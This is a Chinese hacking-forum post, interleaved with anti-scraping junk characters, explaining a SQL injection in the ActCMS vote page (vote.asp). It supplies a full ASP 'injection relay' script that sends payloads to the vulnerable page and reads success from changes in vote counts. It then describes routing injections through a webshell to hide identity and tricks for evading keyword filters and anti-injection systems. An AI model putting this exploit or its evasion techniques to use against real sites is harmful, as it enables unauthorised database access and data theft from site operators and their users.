找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2376|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; {- s4 R4 a/ I  b$ [( \+ @2 J
看到ninty大牛的blog的一篇文章
4 R& C  k' d5 L* L链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
+ ~) ~4 N2 y0 g; f关于actcms漏洞的利用  by 3x qq:381862589
! ~9 z; w6 O8 o" |4 x' @转载请注明以上
' ?) }# v, C8 z漏洞文件:
) p3 q3 R# @6 G; B" S, ]/plus/vote/vote.asp5 _) W" f: g) A. M+ f( c& d
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
- }  z- a% g7 k0 I* [$ I+ N6 B( v( f; ~* X
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! X1 d( e/ S% P" r( O! V! c- Q+ t, G' p
3    response.end   
" `7 n3 Z) c  e; `5 n7 z: x; ]" V- b  X# D$ L
4    end if   
8 X1 H6 `9 r! v, @' s
) y7 d1 b0 v6 m4 @' f9 Q5    for i=1 to request("voted").count    * r/ F  c' f# F1 B- k6 O6 s( Q0 S
0 p9 y7 W8 v1 v7 s! Y
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    3 f; s* X$ o! m" |
% Q& Y  q, j( B! \7 d: V; i/ P6 k! P
7    next      I+ I5 P1 f' P# j7 k# J& [

  F( Q6 b$ Y. d, |8....   
' Z3 S9 M; R5 {9 d6 s4 H4 }. @
; P4 w6 G) b& j2 r$ g& k1 h7 R8 q9response.Redirect "index.asp?id="&id&""   
3 Y3 P4 {7 S  c8 `1 h- J投票结束回跳转回index.asp这个投票结果页面( }. a* H3 e0 a
如果投票成功票数加1
# E9 i- h* \, p% `. T            失败票数不变( H! V$ c& P) R% f
如图:- s1 I6 O7 k: v0 |- w
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)* _$ ]6 j; d: d; v- e$ G* \

- c5 V, y# B- N- z! Z" Y1 [: D( Z2009-12-27 13:20. ?- C! s% v7 l  S$ Q* P
: W5 a$ b+ q; S% U4 _
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 [3 d( I; j8 y/ l& ?, }
- Q! h7 [# V' ~0 m, T本帖隐藏的内容需要回复才可以浏览
1 ^  }7 @' J* `2 H- E8 a" h我们用注入中转来实现这个注入具体代码如下:
5 m/ S  c+ K$ l! N$ p/ p9 @先用寂寞的刺猬大牛的注入中转生成jmget.asp/ _* z! }6 s6 m% \! L5 m
注入地址:http://localhost/actcms/plus/vote/vote.asp' P6 R- v& }; e& ?
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
/ ^; {* V! G$ v: L
/ z, I0 D; ]+ W% |' X然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ; s! Z( H# J8 {7 b
: ?0 e) l0 Y, A7 n& l' H+ W9 {' N! f- z
02JmdcwName=request("jmdcw") 2 m3 i9 V& M. [% p$ R  [* Z" B7 r
# ^8 [$ Z0 {2 k4 H& k
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 2 y! z. o! l9 y  q' L% R
+ {( [7 \+ ^7 K& q! E6 r
04JmStr="id=1&voted=-1 or 1="&JmdcwName
, n1 O! V8 ~$ ~! r" t4 @; f) Q" e6 |& L' o; ?. A
05JmStr=URLEncoding(JmStr)
3 l% W" V+ _  T6 O6 K( S$ ^& `1 i) |" @
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- S$ ]* A" ]+ G, s, w

! ^  G( g* F8 l6 O: j( g07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"7 ]# h, l0 f& c0 T

" h. O1 ?& e3 U5 s  M08testurl=testurl & "?" & JmStr
" Y0 z. G, K# n3 S3 x( S2 B# I  G1 H  r+ u
09JMUrl=JMUrl & "?" & JmStr ' G2 }& L8 i  ~6 U, Z. u5 ]

2 M3 V3 ~$ t; T6 q' z. }10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
! Q! i  n& c- w  h- e
+ x* q1 C5 u( ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
4 Z$ {$ R0 _( W1 w+ a) V1 K4 C- X* f% ~1 b, m+ C) K
12JmCok=replace(JmCok,chr(32),"%20")  
9 C2 K* ?2 b. u; D% p0 n, C9 m  ^1 U
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 # K; ]& d) E2 [3 J- k
% a2 y  `! [4 z/ T0 F9 P
14  : ?5 c2 T# `( d- d) O

& e- s2 N' T: y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
: a0 i% T7 |. m8 U# k( _3 E. b; R
16  
; i! x' B; C) H5 F
( j2 i; k5 U/ Q8 A! Y/ Z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 : p- O' @8 d- e2 l$ M9 n6 P

9 d/ q! @: c  [18response.write test1&""&test2&""
5 z! ]: h: u& i9 O$ P) u
% y7 x3 p* ?) U. C. H8 ^19  3 v0 x0 y0 `$ g2 w! N

8 t; t6 F' t  ]; M. L4 E20if test1=test2 then '如前后记录相等,表示失败 * A  j, k) R9 W  U) |+ |$ ?7 n

3 h; O: `7 c9 o$ K$ X21  response.write "failed"
4 e7 f# A; W( C% X. B: c9 n) O$ l: m# ~/ H' T+ {
22else
* D# p- [8 \! [6 V3 ], d6 b0 |' j7 S- ~; l" s% M- C
23  response.write "succeed"9 Z7 R; |+ y( q: X5 D

) Y: i  s! |# ]* |& \& s+ R# \! R24end if  
$ F, G) D' B, Q% _: D/ w
  Y5 t' n0 @- c# G25  
8 _- v3 a: ?! ~) b
8 b" j* l% g* V+ f+ b( s9 G: Q  |26response.write "by 3x"% e, w3 p' U) s) Q. o0 w
9 D5 m6 r+ J; z
27  
1 S8 p) f, Y, a. ?: [/ B' v- }- G
7 w& k2 i) {. C28  / n# g4 G8 \  f4 ~- [4 |% [, @7 I
1 C1 V: y" ]: i) A
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* {# y. ?. q! ^5 @7 F; M& p9 w$ h: V9 t( ~- C$ B1 N7 N
30Dim Http
1 c, g5 G, G% d7 H3 z
3 ^9 f5 [0 m8 L2 Q' a31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
/ E( P9 R: @4 ~: }2 L7 D8 a2 f7 J& ^! [; J. w9 h1 M' {
32With Http
$ V6 l: d2 t8 Y
( y5 ]8 t( r. ?: a% p2 W1 P33  # h) u$ _  b' s: H
9 E& w  W$ U/ I& k* D5 ]; {
34.Open "GET",PostUrl,False; k9 b; F; t% r/ m- p( U. h& L% E

, r6 }( A  d- G- m6 ?. b35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
( D; o! n9 \" h. I& i" _1 R. R' M
36.SetRequestHeader "Referer",PostRef 5 F& h% T5 `0 p

3 B0 s7 T5 d* k* N+ b37.SetRequestHeader "Cookie",PostCok
  o- }8 n8 ]* N. D4 P3 |: K9 q4 ~: n7 g6 C+ m& |8 X
38.Send () . _+ |" S& ^: K+ \4 f/ m
) g4 x5 k- x6 ]  n" ~& ^: z- A
39PostData = .ResponseBody ' y4 b2 U" n# N, S* s

0 a6 t1 I6 f+ {6 _# ~40End With
/ s* d2 k. e! e9 _1 x, T" f& ^1 w: v: q* f8 Y
41Set Http = Nothing# Z. S5 W. ^( G0 R1 l1 Q
" M, G6 u, \. Z" Q; C; |! E- O
42PostData =bytes2BSTR(PostData) % L6 q' q1 U# T5 a" x
+ j2 I0 i" h% C3 z
43End Function
% A5 I8 ^" T. g9 u9 {; p7 V
8 n' t$ I# A7 K; ~: r% O44  ) F0 R7 m3 x2 k/ Y
; H+ N- U) _, v: O* k4 G) x
45  
+ I0 T; T* O+ W
6 ~! H' ~0 j: Q0 U6 m1 Z( E46Function bytes2BSTR(vIn)
& _4 A4 C* U9 T' p# f: h# v, h
" R2 E; `/ T# g47Dim strReturn " _& w5 ^: H9 W* a3 @9 C: [7 W% t

0 Q" Y' k4 D1 E0 e: I1 k: Q# H$ P48Dim I, ThisCharCode, NextCharCode 7 v+ q9 w7 f/ z9 ]& n; ^

( ]9 D0 s3 H8 b. \5 x3 g! _9 E$ z$ D49strReturn = "": Z7 m+ I" n+ d" p1 Y/ M

! m8 B6 a& X- q3 t50For I = 1 To LenB(vIn)
* [( |6 B) E$ X$ [% C( D" Y3 y; l7 M( G& u4 h7 X# h: p; d9 W; l% m7 n
51ThisCharCode = AscB(MidB(vIn, I, 1))
( H; S* G  b0 y4 a% }* n. k* E1 v$ m9 K$ m, T. i* y9 z. O
52If ThisCharCode < &H80 Then
- v7 y) c  ]3 }  q
8 x$ k1 _( j, g/ h. \53strReturn = strReturn & Chr(ThisCharCode) - O' J+ ^4 i8 ]9 y2 i4 d# U
% m3 _$ a; N; L3 w# s# x& M( D
54Else( R/ v# X7 S/ i: a9 ]  X
7 }! [# U& H1 Y1 j$ _9 d
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) " ~$ n0 ]' H# w, {4 F) m

4 Y# E! n- C" h! [" K. K56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
% c/ D; e: A7 ^" l- t1 ~" [! S4 A* F! v- Z. L2 B0 Q% a" b) P
57I = I + 1
5 }3 E4 |* T' H! j, A0 `' Q; D$ |, G2 J. W
58End If
, a! A- g( e4 v% ?) H# p, k8 _& w1 a' \, y. x# t; x) B9 e  y
59Next) X0 D, V0 @& r: O& }

& h; w5 h( w) p' R- G9 g; C60bytes2BSTR = strReturn
1 T; l9 d" z  _' D& x
. V/ O& A' J' Z" ]' M61End Function3 x( ~; P9 a$ I/ _% h8 I

3 ^6 f0 ?0 f) L; G. i6 Y; \62  % g4 {' A8 i0 W0 @, {" X. H
; B: s% q% c/ }) \
63Function URLEncoding(vstrin)  
. U0 \' `2 _4 }; z* L& u% R: o1 s6 w* R  w% K3 u
64strReturn=""
, s% b7 [& b9 I) c2 F4 I- W! A8 [
' L6 T  ^6 ]* H65Dim i
6 n7 ?7 I0 {4 }: f, ?$ ^4 s6 O+ S, r4 H
66For i=1 To Len(vstrin) & K0 _% C- \# ]( }! _3 ~8 \

9 g$ m3 O5 W- U3 q7 |7 u, o67ThisChr=Mid(vstrin,i,1)
6 X9 V' p& i) d1 S1 |0 ^& y
% X% B9 o2 T& T% k- }68if Abs(Asc(ThisChr))< &HFF Then
" f' [1 p6 Z2 w4 Y3 _; e$ q9 L8 I, Y$ J: H
69strReturn=strReturn & ThisChr 7 d1 n# `6 D2 \4 ?

2 o$ b1 j6 u& o# U5 c* J70Else5 w) N8 w8 p# s' M- ]$ p8 n9 ?

1 d4 B& e8 K, k" G71InnerCode=Asc(ThisChr)
* t) S  {  [9 B
: h$ i$ E( b/ v# k7 H72If InnerCode<0 Then
2 d/ m& B! a5 t. r! I2 q* L2 [, |7 w5 M9 u+ z, Z5 Y- a3 w
73InnerCode=InnerCode + &H10000 % \* y& U0 J8 Y+ L+ l

6 _. ^5 ~! z' a- ^4 A) Y74End If
' C+ `; }& R  T3 G; u* G) [% g4 @: m7 t1 A, A2 m  G, ?# M$ ?
75Hight1=(InnerCode And &HFF00) \&HFF
' }/ ~' |# W- x# b) x3 ~: `+ n3 [0 z5 C
76Low1=InnerCode And &HFF
4 K' K# g& y5 f2 _! J
2 X" n2 ~3 l& p7 ?, K77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 8 t8 ?" j7 d7 v4 B0 H

. f& F3 o3 i$ {8 R78End if . l3 Z9 G  s5 _' \5 O  H; m6 t2 p

  v$ a0 \4 V8 C7 n& s79Next0 @; \* {8 j; t1 A) c

' j) h% ]* C$ p2 @" S! z/ k+ S) W4 |80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 3 d! o# H8 ^( j4 X; j1 C: K

- A( j3 I# S: p6 h! w0 C6 v81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 , c+ w& q2 v: T- B3 L
8 U4 c1 z3 k, q# e& @0 M( E
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
: M; e8 `5 e3 P% K; y/ \7 X4 G+ B: q% c+ V3 C
83URLEncoding=strReturn
, r% ]1 c! X8 y& |* e) B7 [
+ B7 g' C. W$ e! d& S) W4 t84End Function
) s  b: F# m5 F% G! F
6 U* u3 {/ p6 c2 q! s: ~- d( ~; J85  7 F# r4 K/ t7 [2 M# p3 p" ~. j

" P) q% m! T' k8 ~86function getSt(body)
/ }: v7 [. m0 n6 X0 G! Q) O% S. G1 Z
87  startpot=instr(body,"投票人数:")+len("投票人数:")
; Y8 o" \, R2 o$ g9 X: Y' e, q7 @6 i: w- p, h- d3 x# U
88  endpot=instr(startpot,body," ")
# v! j% c; I0 ?* b) O& U8 i4 l# S1 Y) Q. l8 S& Z* O
89  getSt=mid(body,startpot,endpot-startpot)
/ B  m6 _$ O% B: J, `( v+ T& E8 o8 ]) O
90end function 9 d3 ?. p4 r+ M# a, g' Q

- u( R' x+ e; ]6 }% \91%>& H8 u2 g' A3 P- P# v& v; A+ ~
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了' t5 t' ?3 K+ h" f4 g, V, r
测试下效果:
$ c% t6 v( O6 A$ N  m投票成功:
6 g" z, c2 n- P% Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ U! m2 d" _) D6 n& |/ ]% V/ [3 o  Y: j* t2 @, x
2009-12-27 13:29. s$ {- ]/ m5 {6 T
投票失败2 X4 n1 S9 |  O) A5 E* J2 d
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
" M" o; P  \3 y. b' M1 J( L" w) W( W7 }. n; M( p
2009-12-27 13:29) a( Y3 Y  W1 X: v
-------------------------------------------------------------------------------1 W- U3 W4 f! v
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
  ^: U7 K9 m5 h8 B$ Z1 e很抱歉。。。只能用单线程工具去注入。。。。。
1 ^/ P$ [3 }' G- N6 x& b! `0 m所以失败。。。不好意思。。。0 C$ _! G, e3 P: E3 i
-------------------------------------------------------------------------------
7 S1 ^3 J! t. _6 G
' I9 A6 T. z' I8 R% G& b6 `+ {注入中转的一些其他应用
, c, m. x0 N+ e+ Z8 J其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
' A( }* P$ s, b, w1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id: N2 e4 k& D% C" T7 p3 V. w
2.post注入转成get型的注入,方便我们使用工具来跑
! j- p2 K5 }* ?  N* [0 @1 Z! A  h3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
/ t8 C$ @1 R" b, j5 u' k/ P+ D4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
( p1 M' Z- I8 ]0 N$ l+ j! W4 r, l! u9 e8 ?  {8 t$ I. t/ n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表